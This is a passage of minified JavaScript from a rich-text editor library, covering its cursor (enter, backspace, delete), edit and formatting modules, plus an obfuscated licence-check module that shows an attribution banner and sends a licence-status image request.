C.node.deepestParent(n)&&((!C.node.isEmpty(C.node.blockParent(n))||(C.node.blockParent(n).nextSibling&&Z.NO_DELETE_TAGS.indexOf(C.node.blockParent(n).nextSibling.tagName))<0)&&m(n).remove(),n&&n.parentNode&&8203===n.parentNode.textContent.charCodeAt()&&n.parentNode.childNodes[1]&&"BR"===n.parentNode.childNodes[1].tagName&&n.parentNode.tagName.toLowerCase()===C.html.defaultTag()&&n.parentNode.nextSibling&&"TABLE"===n.parentNode.nextSibling.tagName&&m(n.parentNode).remove(),i(e));return}if(!C.node.isBlock(n)&&C.node.isEditable(n)){for(t=C.node.contents(n);n.nodeType!==Node.TEXT_NODE&&t.length&&!C.node.isDeletable(n)&&C.node.isEditable(n);)n=t[0],t=C.node.contents(n);n.nodeType===Node.TEXT_NODE?(m(n).before(Z.MARKERS),n.textContent.length&&(n.textContent=n.textContent.substring(L(n.textContent,!0),n.textContent.length))):C.node.isDeletable(n)?(m(n).before(Z.MARKERS),m(n).remove()):!1!==C.events.trigger("node.remove",[m(n)])&&(m(n).before(Z.MARKERS),m(n).remove()),m(e).remove()}else if(Z.NO_DELETE_TAGS.indexOf(n.tagName)<0&&(C.node.isEditable(n)||C.node.isDeletable(n)))if(C.node.isDeletable(n))m(e).replaceWith(Z.MARKERS),m(n).remove();else if(C.node.isList(n))e.previousSibling?(m(n).find("li").first().prepend(e),C.cursorLists._backspace(e)):(m(n).find("li").first().prepend(Z.MARKERS),m(e).remove());else if((t=C.node.contents(n))&&0<t.length&&"BR"===t[0].tagName&&m(t[0]).remove(),t&&0<t.length&&"BLOCKQUOTE"===n.tagName){var r=t[0];for(m(e).before(Z.MARKERS);r&&"BR"!==r.tagName;){var o=r;r=r.nextSibling,m(e).before(o)}r&&"BR"===r.tagName&&m(r).remove()}else m(e).after(m(n).html()).after(Z.MARKERS),m(n).remove()}function a(){for(var e=C.el.querySelectorAll("blockquote:empty"),t=0;t<e.length;t++)e[t].parentNode.removeChild(e[t])}function y(e,t,n){var r,o=C.node.deepestParent(e,[],!n);if(o&&"BLOCKQUOTE"===o.tagName)return v(e,o)?(r=C.html.defaultTag(),t?m(e).replaceWith("<br>"+Z.MARKERS):r?m(o).after("<".concat(r,">").concat(Z.MARKERS,"<br></").concat(r,">")):m(o).after("".concat(Z.MARKERS,"<br>")),m(e).remove()):S(e,t,n),!1;if(null===o)(r=C.html.defaultTag())&&C.node.isElement(e.parentNode)?m(e).replaceWith("<".concat(r,">").concat(Z.MARKERS,"<br></").concat(r,">")):!e.previousSibling||m(e.previousSibling).is("br")||e.nextSibling?m(e).replaceWith("<br>".concat(Z.MARKERS)):m(e).replaceWith("<br>".concat(Z.MARKERS,"<br>"));else{var i=e,a="";"PRE"!=o.tagName||e.nextSibling||(t=!0),C.node.isBlock(o)&&!t||(a="<br/>");var s,l="",c="",d="",f="";(r=C.html.defaultTag())&&C.node.isBlock(o)&&(d="<".concat(r,">"),f="</".concat(r,">"),o.tagName===r.toUpperCase()&&(d=C.node.openTagString(m(o).clone().removeAttr("id").get(0))));do{if(i=i.parentNode,!t||i!==o||t&&!C.node.isBlock(o))if(l+=C.node.closeTagString(i),i===o&&C.node.isBlock(o))c=d+c;else{var p=("A"===i.tagName||C.node.hasClass(i,"fa"))&&v(e,i)?"fr-to-remove":"";c="isPasted"===i.getAttribute("id")?C.node.openTagString(m(i).clone().attr("style","").addClass(p).get(0))+c:C.node.openTagString(m(i).clone().addClass(p).get(0))+c}}while(i!==o);a=l+a+c+(e.parentNode===o&&C.node.isBlock(o)?"":Z.INVISIBLE_SPACE)+Z.MARKERS,C.node.isBlock(o)&&!m(o).find("*").last().is("br")&&m(o).append("<br/>"),m(e).after('<span id="fr-break"></span>'),m(e).remove(),o.nextSibling&&!C.node.isBlock(o.nextSibling)||C.node.isBlock(o)||m(o).after("<br>"),s=(s=!t&&C.node.isBlock(o)?C.node.openTagString(o)+m(o).html()+f:C.node.openTagString(o)+m(o).html()+C.node.closeTagString(o)).replace(/<span id="fr-break"><\/span>/g,a),m(o).replaceWith(s)}}function S(e,t,n){var r=C.node.deepestParent(e,[],!n);if(null===r)C.html.defaultTag()&&e.parentNode===C.el?m(e).replaceWith("<".concat(C.html.defaultTag(),">").concat(Z.MARKERS,"<br></").concat(C.html.defaultTag(),">")):(e.nextSibling&&!C.node.isBlock(e.nextSibling)||m(e).after("<br>"),m(e).replaceWith("<br>".concat(Z.MARKERS)));else if(e.previousSibling&&"IMG"==e.previousSibling.tagName||e.nextSibling&&"IMG"==e.nextSibling.tagName)m(e).replaceWith("<"+C.html.defaultTag()+">"+Z.MARKERS+"<br></"+C.html.defaultTag()+">");else{var o=e,i="";"PRE"===r.tagName&&(t=!0),C.node.isBlock(r)&&!t||(i="<br>");var a="",s="";do{var l=o;if(o=o.parentNode,"BLOCKQUOTE"===r.tagName&&C.node.isEmpty(l)&&!C.node.hasClass(l,"fr-marker")&&m(l).contains(e)&&m(l).after(e),"BLOCKQUOTE"!==r.tagName||!v(e,o)&&!g(e,o))if(!t||o!==r||t&&!C.node.isBlock(r)){a+=C.node.closeTagString(o);var c="A"==o.tagName&&v(e,o)||C.node.hasClass(o,"fa")?"fr-to-remove":"";s=C.node.openTagString(m(o).clone().addClass(c).removeAttr("id").get(0))+s,C.opts.enter!==Z.ENTER_DIV&&o===r&&"DIV"===r.tagName&&(a="<br>",s="")}else"BLOCKQUOTE"==r.tagName&&t&&(s=a="")}while(o!==r);var d=r===e.parentNode&&C.node.isBlock(r)||e.nextSibling;if("BLOCKQUOTE"===r.tagName)if(e.previousSibling&&C.node.isBlock(e.previousSibling)&&e.nextSibling&&"BR"===e.nextSibling.tagName&&(m(e.nextSibling).after(e),e.nextSibling&&"BR"===e.nextSibling.tagName&&m(e.nextSibling).remove()),t)i=a+i+Z.MARKERS+s;else{var f=C.html.defaultTag();i="".concat(a+i+(f?"<".concat(f,">"):"")+Z.MARKERS,"<br>").concat(f?"</".concat(f,">"):"").concat(s)}else i=a+i+s+(d?"":Z.INVISIBLE_SPACE)+Z.MARKERS;m(e).replaceWith('<span id="fr-break"></span>');var p=C.node.openTagString(r)+m(r).html()+C.node.closeTagString(r);p=p.replace(/<span id="fr-break"><\/span>/g,i),m(r).replaceWith(p)}}function N(e){var t=e.getBoundingClientRect(),n=window.pageXOffset||document.documentElement.scrollLeft,r=window.pageYOffset||document.documentElement.scrollTop;return C.opts.iframe?{top:t.top+C.$wp.offset().top,left:t.left+n}:{top:t.top+r,left:t.left+n}}function T(){var e=C.selection.get(),t=null;if(C.selection.inEditor()&&e.rangeCount)for(var n=C.selection.ranges(),r=0;r<n.length;r++){var o=n[r];t=C.selection.rangeElement(o.startContainer,o.startOffset);break}return t}return{enter:function M(e){var t=C.markers.insert();if(!t)return!0;for(var n=t.parentNode;n&&!C.node.isElement(n);){if("false"===n.getAttribute("contenteditable"))return m(t).replaceWith(Z.MARKERS),C.selection.restore(),!1;if("true"===n.getAttribute("contenteditable"))break;n=n.parentNode}C.el.normalize();var r=!1;0<m(t).parentsUntil(C.$el,"BLOCKQUOTE").length&&(r=!0),m(t).parentsUntil(C.$el,"TD, TH").length&&(r=!1),u(t)?!b(t)||e||r?y(t,e,r):C.cursorLists._endEnter(t):h(t)?!b(t)||e||r?function f(e,t,n){var r,o=C.node.deepestParent(e,[],!n);if(o&&"TABLE"===o.tagName)return m(o).find("td, th").first().prepend(e),f(e,t,n);if(o&&"BLOCKQUOTE"===o.tagName)if(g(e,o)){if(!t)return(r=C.html.defaultTag())?m(o).before("<".concat(r,">").concat(Z.MARKERS,"<br></").concat(r,">")):m(o).before("".concat(Z.MARKERS,"<br>")),m(e).remove(),!1}else v(e,o)?y(e,t,!0):S(e,t,!0);if(null===o)(r=C.html.defaultTag())&&C.node.isElement(e.parentNode)?m(e).replaceWith("<".concat(r,">").concat(Z.MARKERS,"<br></").concat(r,">")):m(e).replaceWith("<br>".concat(Z.MARKERS));else{if(r=C.html.defaultTag(),C.node.isBlock(o))if("PRE"===o.tagName&&(t=!0),t)m(e).remove(),m(o).prepend("<br>".concat(Z.MARKERS));else if(e.nextSibling&&"IMG"==e.nextSibling.tagName||e.nextSibling&&e.nextSibling.nextElementSibling&&"IMG"==e.nextSibling.nextElementSibling)m(e).replaceWith("<"+C.html.defaultTag()+">"+Z.MARKERS+"<br></"+C.html.defaultTag()+">");else{if(C.node.isEmpty(o,!0))return y(e,t,n);if(C.opts.keepFormatOnDelete||"DIV"===o.tagName||"div"===C.html.defaultTag())if(!C.opts.keepFormatOnDelete&&"DIV"===o.tagName||"div"===C.html.defaultTag())m(o).before("<"+C.html.defaultTag()+"><br></"+C.html.defaultTag()+">");else if(C.opts.keepFormatOnDelete&&!C.opts.htmlUntouched&&"DIV"!==o.tagName&&"div"!==C.html.defaultTag()&&h(C.selection.get().focusNode))m(o).before("".concat(C.node.openTagString(m(o).clone().removeAttr("id").get(0)),"<br>").concat(C.node.closeTagString(o)));else{for(var i=e,a=Z.INVISIBLE_SPACE;i!==o&&!C.node.isElement(i);)i=i.parentNode,a=C.node.openTagString(i)+a+C.node.closeTagString(i);m(o).before(a)}else m(o).before("".concat(C.node.openTagString(m(o).clone().removeAttr("id").get(0)),"<br>").concat(C.node.closeTagString(o)))}else m(o).before("<br>");m(e).remove()}}(t,e,r):C.cursorLists._startEnter(t):!b(t)||e||r?S(t,e,r):C.cursorLists._middleEnter(t),function p(){C.$el.find(".fr-to-remove").each(function(){for(var e=C.node.contents(this),t=0;t<e.length;t++)e[t].nodeType===Node.TEXT_NODE&&(e[t].textContent=e[t].textContent.replace(/\u200B/g,""));m(this).replaceWith(this.innerHTML)})}(),C.html.fillEmptyBlocks(!0),C.opts.htmlUntouched||(C.html.cleanEmptyTags(),C.clean.lists(),C.spaces.normalizeAroundCursor()),C.selection.restore();var o=C.o_win.innerHeight;if(C.$oel[0].offsetHeight>o){var i=T();if(i){var a=N(i);a=a.top;var s=i.getBoundingClientRect().top;C.opts.iframe&&(s=s+C.$wp.offset().top-C.helpers.scrollTop()),C.opts.scrollableContainer&&C.opts.enter!==Z.ENTER_BR&&"BR"===i.tagName&&s+20===o&&(s=a=i.parentNode.offsetTop),i.parentNode&&"TD"===i.parentNode.tagName&&o<s?C.o_win.scroll(0,s-50):"BR"===i.tagName&&s<0?C.o_win.scroll(0,a-80):C.opts.scrollableContainer&&o<s+20?C.o_win.scroll(0,a-o+50):C.opts.scrollableContainer&&s+2*C.$tb.height()>C.$sc[0].scrollTop+m(C.$sc).height()&&C.$sc[0].scroll(0,a-m(C.$sc).height()+2*C.$tb.height())}}else if(C.opts.scrollableContainer&&C.opts.toolbarSticky){var l=T();if(l){var c=N(l);c=c.top;var d=l.getBoundingClientRect().top;C.opts.enter!==Z.ENTER_BR&&"BR"===l.tagName&&(d=c=l.parentNode.offsetTop),(C.opts.iframe&&d+2*C.$tb.height()>C.$sc[0].scrollTop+m(C.$sc).height()||d+2*C.$tb.height()>m(C.$sc).height())&&C.$sc[0].scroll(0,c-m(C.$sc).height()+2*C.$tb.height())}}},backspace:function s(){var e=!1,t=C.markers.insert();if(!t)return!0;for(var n=t.parentNode;n&&!C.node.isElement(n);){if("false"===n.getAttribute("contenteditable"))return m(t).replaceWith(Z.MARKERS),C.selection.restore(),!1;if(n.innerText.length&&"true"===n.getAttribute("contenteditable"))break;n=n.parentNode}C.el.normalize();var r=t.previousSibling;if(r){var o=r.textContent;o&&o.length&&8203===o.charCodeAt(o.length-1)&&(1===o.length?m(r).remove():r.textContent=r.textContent.substr(0,o.length-L(o)))}return u(t)?b(t)&&g(t,m(t).parents("li").first().get(0))?C.cursorLists._backspace(t):e=E(t):h(t)?b(t)&&g(t,m(t).parents("li").first().get(0))?C.cursorLists._backspace(t):function c(e){for(var t=0<m(e).parentsUntil(C.$el,"BLOCKQUOTE").length,n=C.node.deepestParent(e,[],!t),r=n;n&&!n.previousSibling&&"BLOCKQUOTE"!==n.tagName&&n.parentElement!==C.el&&!C.node.hasClass(n.parentElement,"fr-inner")&&Z.SIMPLE_ENTER_TAGS.indexOf(n.parentElement.tagName)<0;)n=n.parentElement;if(n&&"BLOCKQUOTE"===n.tagName){var o=C.node.deepestParent(e,[m(e).parentsUntil(C.$el,"BLOCKQUOTE").get(0)]);o&&o.previousSibling&&(r=n=o)}if(null!==n){var i,a=n.previousSibling;if(C.node.isBlock(n)&&C.node.isEditable(n))if(a&&Z.NO_DELETE_TAGS.indexOf(a.tagName)<0){if(C.node.isDeletable(a))m(a).remove(),m(e).replaceWith(Z.MARKERS);else if(C.node.isEditable(a))if(C.node.isBlock(a))if(C.node.isEmpty(a)&&!C.node.isList(a))m(a).remove(),m(e).after(C.opts.keepFormatOnDelete?Z.INVISIBLE_SPACE:"");else{if(C.node.isList(a)&&(a=m(a).find("li").last().get(0)),(i=C.node.contents(a)).length&&"BR"===i[i.length-1].tagName&&m(i[i.length-1]).remove(),"BLOCKQUOTE"===a.tagName&&"BLOCKQUOTE"!==n.tagName)for(i=C.node.contents(a);i.length&&C.node.isBlock(i[i.length-1]);)a=i[i.length-1],i=C.node.contents(a);else if("BLOCKQUOTE"!==a.tagName&&"BLOCKQUOTE"===r.tagName)for(i=C.node.contents(r);i.length&&C.node.isBlock(i[0]);)r=i[0],i=C.node.contents(r);if(C.node.isEmpty(n))m(e).remove(),C.selection.setAtEnd(a,!0);else{m(e).replaceWith(Z.MARKERS);var s=a.childNodes;C.node.isBlock(s[s.length-1])?m(s[s.length-1]).append(r.innerHTML):m(a).append(r.innerHTML)}m(r).remove(),C.node.isEmpty(n)&&m(n).remove()}else m(e).replaceWith(Z.MARKERS),"BLOCKQUOTE"===n.tagName&&a.nodeType===Node.ELEMENT_NODE?m(a).remove():(m(a).after(C.node.isEmpty(n)?"":m(n).html()),m(n).remove(),"BR"===a.tagName&&m(a).remove())}else if(a)8203===n.textContent.charCodeAt()&&n.childNodes[1]&&"BR"===n.childNodes[1].tagName&&n.tagName.toLowerCase()===C.html.defaultTag()&&n.previousSibling&&"TABLE"===n.previousSibling.tagName&&m(n).remove();else if(n&&"BLOCKQUOTE"===n.tagName&&0===m(n).text().replace(/\u200B/g,"").length)m(n).remove();else{var l=n.nextSibling;C.node.isEmpty(n)&&n.parentNode&&C.node.isEditable(n.parentNode)&&!l&&(n.parentNode!=C.el&&"TD"!==n.parentNode.tagName?m(n.parentNode).remove():n.parentNode!=C.el&&"TD"===n.parentNode.tagName&&m(n).remove())}}}(t):e=E(t),m(t).remove(),a(),C.html.fillEmptyBlocks(!0),C.opts.htmlUntouched||(C.html.cleanEmptyTags(),C.clean.lists(),C.spaces.normalizeAroundCursor()),C.selection.restore(),e},del:function r(){var e=C.markers.insert();if(!e)return!1;if(C.el.normalize(),u(e))if(b(e))if(0===m(e).parents("li").first().find("ul, ol").length)C.cursorLists._del(e);else{var t=m(e).parents("li").first().find("ul, ol").first().find("li").first();(t=t.find(C.html.blockTagsQuery()).get(-1)||t).prepend(e),C.cursorLists._backspace(e)}else i(e);else h(e),n(e);m(e).remove(),a(),C.html.fillEmptyBlocks(!0),C.opts.htmlUntouched||(C.html.cleanEmptyTags(),C.clean.lists()),C.spaces.normalizeAroundCursor(),C.selection.restore()},isAtEnd:v,isAtStart:g}},Z.MODULES.data=function(f){function p(e){return e}function c(e){for(var t=e.toString(),n=0,r=0;r<t.length;r++)n+=parseInt(t.charAt(r),10);return 10<n?n%9+1:n}function d(e,t,n){for(var r=Math.abs(n);0<r--;)e-=t;return n<0&&(e+=123),e}function u(e){return e&&"block"!==e.css("display")?(e.remove(),!0):e&&0===f.helpers.getPX(e.css("height"))?(e.remove(),!0):!(!e||"absolute"!==e.css("position")&&"fixed"!==e.css("position")||(e.remove(),0))}function h(e){return e&&0===f.$box.find(e).length}function g(){if(10<e&&(f[p(M("0ppecjvc=="))](),setTimeout(function(){L.FE=null},10)),!f.$box)return!1;f.$wp.prepend(M(p(M(N)))),v=f.$wp.find("> div").first(),b=v.find("> a"),"rtl"===f.opts.direction&&v.css("left","auto").css("right",0).attr("direction","rtl"),e++}function C(e){for(var t=[M("9qqG-7amjlwq=="),M("KA3B3C2A6D1D5H5H1A3=="),M("3B9B3B5F3C4G3E3=="),M("QzbzvxyB2yA-9m=="),M("ji1kacwmgG5bc=="),M("nmA-13aogi1A3c1jd=="),M("BA9ggq=="),M("emznbjbH3fij=="),M("tkC-22d1qC-13sD1wzF-7=="),M("tA3jjf=="),M("1D1brkm==")],n=0;n<t.length;n++)if(String.prototype.endsWith||(String.prototype.endsWith=function(e,t){return(void 0===t||t>this.length)&&(t=this.length),this.substring(t-e.length,t)===e}),e.endsWith(t[n]))return!0;return!1}function m(){var e=M(p(n)),t=M(p("tzgatD-13eD1dtdrvmF3c1nrC-7saQcdav==")).split(".");try{return window.parent.document.querySelector(e)&&window[t[1]][t[2]]}catch(e){return!1}}var v,b,L=f.$,E="sC-7OB2fwhVC4vsG-7ohPA4ZD4D-8f1J3stzB-11bFE2FC1A3NB2IF1HE1TH4WB8eB-11zVG2F3I3yYB5ZG4CB2DA15CC5AD3F1A1KG1oLA10B1A6wQF1H3vgale2C4F4XA2qc2A5D5B3pepmriKB3OE1HD1fUC10pjD-11E-11TB4YJ3bC-16zE-11yc1B2CE2BC3jhjKC1pdA-21OA6C1D5B-8vF4QA11pD6sqf1C3lldA-16BD4A2H3qoEA7bB-16rmNH5H1F1vSB7RE2A3TH4YC5A5b1A4d1B3whepyAC3AA2zknC3mbgf1SC4WH4PD8TC5ZB2C3H3jb2A5ZA2EF2aoFC5qqHC4B1H1zeGA7UA5RF4TA29TA6ZC4d1C3hyWA10A3rBB2E3decorationRD3QC10UD3E6E6ZD2F3F3fme2E5uxxrEC9C3E4fB-11azhHB1LD7D6VF4VVTPC6b1C4TYG3qzDD6B3B3AH4I2H2kxbHE1JD1yihfd1QD6WB1D4mhrc1B5rvFG3A14A7cDA2OC1AA1JB5zC-16KA6WB4C-8wvlTB5A5lkZB2C2C7zynBD2D2bI-7C-21d1HE2cubyvPC8A6VB3aroxxZE4C4F4e1I2BE1WjdifH1H4A14NA1GB1YG-10tWA3A14A9sVA2C5XH2A29b2A6gsleGG2jaED2D-13fhE1OA8NjwytyTD4e1sc1D-16ZC3B5C-9e1C2FB6EFF5B2C2JH4E1C2tdLE5A3UG4G-7b2D3B4fA-9oh1G3kqvB4AG3ibnjcAC6D2B1cDA9KC2QA6bRC4VA30RB8hYB2A4A-8h1A21A2B2==",y="7D4YH4fkhHB3pqDC3H2E1fkMD1IB1NF1D3QD9wB5rxqlh1A8c2B4ZA3FD2AA6FB5EB3jJG4D2J-7aC-21GB6PC5RE4TC11QD6XC4XE3XH3mlvnqjbaOA2OC2BE6A1fmI-7ujwbc1G5f1F3e1C11mXF4owBG3E1yD1E4F1D2D-8B-8C-7yC-22HD1MF5UE4cWA3D8D6a1B2C3H3a3I3sZA4B3A2akfwEB3xHD5D1F1wIC11pA-16xdxtVI2C9A6YC4a1A2F3B2GA6B4C3lsjyJB1eMA1D-11MF5PE4ja1D3D7byrf1C3e1C7D-16lwqAF3H2A1B-21wNE1MA1OG1HB2A-16tSE5UD4RB3icRA4F-10wtwzBB3E1C3CC2DA8LA2LA1EB1kdH-8uVB7decorg1J2B7B6qjrqGI2J1C6ijehIB1hkemC-13hqkrH4H-7QD6XF5XF3HLNAC3CB2aD2CD2KB10B4ycg1A-8KA4H4B11jVB5TC4yqpB-21pd1E4pedzGB6MD5B3ncB-7MA4LD2JB6PD5uH-8TB9C7YD5XD2E3I3jmiDB3zeimhLD8E2F2JC1H-9ivkPC5lG-10SB1D3H3A-21rc1A3d1E3fsdqwfGA2KA1OrC-22LA6D1B4afUB16SC7AitC-8qYA11fsxcajGA15avjNE2A-9h1hDB16B9tPC1C5F5UC1G3B8d2A5d1D4RnHJ3C3JB5D3ucMG1yzD-17hafjC-8VD3yWC6e1YD2H3ZE2C8C5oBA3H3D2vFA4WzJC4C2i1A-65fNB8afWA1H4A26mvkC-13ZB3E3h1A21BC4eFB2GD2AA5ghqND2A2B2==",n="MekC-11nB-8tIzpD7pewxvzC6mD-16xerg1==",S="lC4B3A3B2B5A1C2E4G1A2==",N="sC-7OB2fwhVC4vsG-7ohPA4ZD4D-8f1J3stzB-11bFE2EE1MA2ND1KD1IE4cA-21pSD2D5ve1G3h1A8b1E5ZC3CD2FA16mC5OC5E1hpnG1NA10B1D7hkUD4I-7b2C3C5nXD2E3F3whidEC2EH3GI2mJE2E2bxci1WA10VC7pllSG2F3A7xd1A4ZC3DB2aaeGA2DE4H2E1j1ywD-13FD1A3VE4WA3D8C6wuc1A2hf1B5B7vnrrjA1B9ic1mpbD1oMB1iSB7rWC4RI4G-7upB6jd1A2F3H2EA4FD3kDF4A2moc1anJD1TD4VI4b2C7oeQF4c1E3XC7ZA3C3G3uDB2wGB6D1JC4D1JD4C1hTE6QC5pH4pD3C-22D7c1A3textAA4gdlB2mpozkmhNC1mrxA3yWA5edhg1I2H3B7ozgmvAI3I2B5GD1LD2RSNH1KA1XA5SB4PA3sA9tlmC-9tnf1G3nd1coBH4I2I2JC3C-16LE6A1tnUA3vbwQB1G3f1A20a3A8a1C6pxAB2eniuE1F3kH2lnjB2hB-16XA5PF1G4zwtYA5B-11mzTG2B9pHB3BE2hGH3B3B2cMD5C1F1wzPA8E7VG5H5vD3H-7C8tyvsVF2I1G2A5fE3bg1mgajoyxMA4fhuzSD8aQB2B4g1A20ukb1A4B3F3GG2CujjanIC1ObiB11SD1C5pWC1D4YB8YE5FE-11jXE2F-7jB4CC2G-10uLH4E1C2tA-13yjUH5d1H1A7sWD5E4hmjF-7pykafoGA16hDD4joyD-8OA33B3C2tC7cRE4SA31a1B8d1e2A4F4g1A2A22CC5zwlAC2C1A12==",T=function(){for(var e=0,t=document.domain,n=t.split("."),r="_gd".concat((new Date).getTime());e<n.length-1&&-1===document.cookie.indexOf("".concat(r,"=").concat(r));)t=n.slice(-1-++e).join("."),document.cookie="".concat(r,"=").concat(r,";domain=").concat(t,";");return document.cookie="".concat(r,"=;expires=Thu, 01 Jan 1970 00:00:01 GMT;domain=").concat(t,";"),(t||"").replace(/(^\.*)|(\.*$)/g,"")}(),M=p(function A(e){if(!e)return e;for(var t="",n=p("charCodeAt"),r=p("fromCharCode"),o="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".indexOf(e[0]),i=1;i<e.length-2;i++){for(var a=c(++o),s=e[n](i),l="";/[0-9-]/.test(e[i+1]);)l+=e[++i];s=d(s,a,l=parseInt(l,10)||0),s^=o-1&31,t+=String[r](s)}return t}),e=0;return{_init:function x(){var e=f.opts.key||[""],t=M(p("ziRA1E3B9pA5B-11D-11xg1A3ZB5D1D4B-11ED2EG2pdeoC1clIH4wB-22yQD5uF4YE3E3A9=="));"string"==typeof e&&(e=[e]);for(var n,r,o,i=!(f.ul=!0),a=0,s=0;s<e.length;s++){var l=(r=e[s],4===(o=(M(r)||"").split("|")).length&&"V3"===o[0]?[o[1],o[3],o[2]]:[null,null,""]),c=l[2];if(c===M(p(M("LGnD1KNZf1CPBYCAZB-8F3UDSLLSG1VFf1A3C2==")))||0<=c.indexOf(T,c.length-T.length)||C(T)||m()){if(null!==(n=l[1])&&!(0==n.indexOf("TRIAL")?(n=new Date(n.replace(/TRIAL/,"")),new Date(n)<new Date&&(E=y,1)):new Date(n)<new Date(M(S)))||!(0<(T||"").length)||C(T)||m()){f.ul=!1;break}i=!0,N=E,a=l[0]||-1}}var d=new Image;!0===f.ul&&(g(),d.src=i?"".concat(p(M(t)),"e=").concat(a):"".concat(p(M(t)),"u")),!0===f.ul&&(f.events.on("contentChanged",function(){(function e(){return u(v)||u(b)||h(v)||h(b)})()&&g()}),f.events.on("html.get",function(e){return e+M("qD2H-9G3ioD-17qA1tE1B-8qI3A4hA-13C-11E2C1njfldD1E6pg1C-8sC3hfbkcD2G3stC-22gqgB3G2B-7vtoA4nweeD1A31A15B9uC-16A1F5dkykdc1B8dE-11bA3F2D3A9gd1E7F2tlI-8H-7vtxB2A5B2C3B2F2B5A6ldbyC4iqC-22D-17E-13mA3D2dywiB3oxlvfC1H4C2TjqbzlnI3ntB4E3qA2zaqsC6D3pmnkoE3C6D5wvuE3bwifdhB6hch1E4xibD-17dmrC1rG-7pntnF6nB-8F1D2A11C8plrkmF2F3MC-16bocqA2WwA-21ayeA1C4d1isC-22rD-13D6DfjpjtC2E6hB2G2G4A-7D2==")})),f.events.on("html.set",function(){var e=f.el.querySelector('[data-f-id="pbf"]');e&&L(e).remove()}),f.events.on("destroy",function(){v&&v.length&&v.remove()},!0)}}},Z.MODULES.edit=function(t){function e(){if(t.browser.mozilla)try{t.doc.execCommand("enableObjectResizing",!1,"false"),t.doc.execCommand("enableInlineTableEditing",!1,"false")}catch(e){}if(t.browser.msie)try{t.doc.body.addEventListener("mscontrolselect",function(e){return e.srcElement.focus(),!1})}catch(e){}}var n=!1;function r(){return n}return{_init:function o(){t.events.on("focus",function(){r()?t.edit.off():t.edit.on()})},on:function i(){t.$wp?(t.$el.attr("contenteditable",!0),t.$el.removeClass("fr-disabled").attr("aria-disabled",!1),e()):t.$el.is("a")&&t.$el.attr("contenteditable",!0),t.events.trigger("edit.on",[],!0),n=!1},off:function a(){t.events.disableBlur(),t.$wp?(t.$el.attr("contenteditable",!1),t.$el.addClass("fr-disabled").attr("aria-disabled",!0)):t.$el.is("a")&&t.$el.attr("contenteditable",!1),t.events.trigger("edit.off"),t.events.enableBlur(),n=!0},disableDesign:e,isDisabled:r}},Z.MODULES.format=function(x){var w=x.$;function O(e,t){var n=e;for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(n+="id"===r?"#".concat(t[r]):"class"===r?".".concat(t[r]):"[".concat(r,'="').concat(t[r],'"]'));return n}function k(e,t){return!(!e||e.nodeType!==Node.ELEMENT_NODE)&&(e.matches||e.matchesSelector||e.msMatchesSelector||e.mozMatchesSelector||e.webkitMatchesSelector||e.oMatchesSelector).call(e,t)}function v(e,t,n){var r,o,i,a={strong:{prop:"font-weight",val:"bold"},em:{prop:"font-style",val:"italic"}};if(e){var s="LI"===e.tagName?e:w(e).parentsUntil(x.$el,"li").get(0),l=w(s).find(".fr-marker[data-type=false]").get(0);if("LI"!==e.parentNode.parentNode.tagName||!l||null!=l.previousSibling){if(x.node.isBlock(e)&&e.hasAttribute("contenteditable")&&"false"===e.getAttribute("contenteditable")||e.parentNode&&e.parentNode.hasAttribute("contenteditable")&&"false"===e.parentNode.getAttribute("contenteditable")){if(e.nextSibling&&w(e.nextSibling).hasClass("fr-marker"))return;if(e.nextSibling)return void v(e.nextSibling,t,n);if(e.parentNode)return void v(e.parentNode,t,n)}for(;e&&e.nodeType===Node.COMMENT_NODE;)e=e.nextSibling;if(e){if(x.node.isBlock(e)&&"HR"!==e.tagName&&"LI"!==e.tagName)return x.node.hasClass(e.firstChild,"fr-marker")?v(e.firstChild.nextSibling,t,n):v(e.firstChild,t,n),!1;var c=w(x.doc.createElement(t));c.attr(n),c.insertBefore(e),(r=b(e))&&(0<=["strong","em"].indexOf(t)||"span"===t&&n.hasOwnProperty("style"))&&(i="span"===t?(o=(a=n.style.replace(/;$/,"").split(":"))[0].trim(),a[1].trim()):(o=a[t].prop,a[t].val),"background-color"!==o&&(w(r).css(o,i),function C(e,t){var n,r=e.childNodes;for(n=0;n<r.length;n++)0<=["UL","OL","LI"].indexOf(r[n].tagName)&&""===r[n].style[t]&&w(r[n]).css(t,"initial")}(r,o)));for(var d=e;d&&!w(d).hasClass("fr-marker")&&0===w(d).find(".fr-marker").length&&"UL"!==d.tagName&&"OL"!==d.tagName;){var f=d;if("SPAN"===d.tagName&&w(d).hasClass("fr-tracking-deleted"))d=d.nextSibling;else{if(x.node.isBlock(d)&&"HR"!==e.tagName)return v(d.firstChild,t,n),!1;if("SPAN"===d.tagName&&x.node.isEditable(d))return c.is(":empty")&&c.remove(),v(d.firstChild,t,n),!1;if(d.tagName&&d.hasAttribute("contenteditable")&&"false"===d.getAttribute("contenteditable")){var p=c.get(0).parentNode,u=d.nextSibling;return"P"===d.parentNode.tagName&&null==d.nextSibling?u=d.parentNode.nextSibling:!u&&p&&p.nextSibling&&"DIV"===p.nextSibling.tagName&&(u=p.nextSibling),void v(u,t,n)}if(!x.node.isEditable(d.parentNode))return x.selection.restore(),void x.toolbar.disable();d=d.nextSibling,c.append(f),x.browser.mozilla&&0<c.length&&m(c[0])}}if(d)(w(d).find(".fr-marker").length||"UL"===d.tagName||"OL"===d.tagName)&&v(d.firstChild,t,n);else{for(var h=c.get(0).parentNode;h&&!h.nextSibling&&!x.node.isElement(h);)h=h.parentNode;if(h){var g=h.nextSibling;g&&(x.node.isBlock(g)?"HR"===g.tagName?v(g.nextSibling,t,n):v(g.firstChild,t,n):v(g,t,n))}}c.is(":empty")&&c.remove()}}}}function m(e){if(w(e).parentsUntil(x.$el,"TABLE").length){for(var t=null,n=e.nextSibling;n;)"BR"===n.nodeName&&(t=n),n=n.nextSibling;t&&!t.nextSibling&&"TD"!=t.parentNode.nodeName&&t.parentNode.textContent&&t.remove()}}function l(e,t){var n;if(void 0===t&&(t={}),t.style&&delete t.style,x.selection.isCollapsed()){x.markers.insert();var r=x.$el.find(".fr-marker");r.get(0).nextSibling&&x.node.isBlock(r.get(0).nextSibling)&&!r.get(0).previousSibling&&"LI"===r.get(0).parentNode.tagName&&r.get(0).nextSibling.prepend(r.get(0)),r.replaceWith(function l(e,t){var n="<".concat(e);for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(n+=" ".concat(r,'="').concat(t[r],'"'));return n+=">"}(e,t)+Z.INVISIBLE_SPACE+Z.MARKERS+function 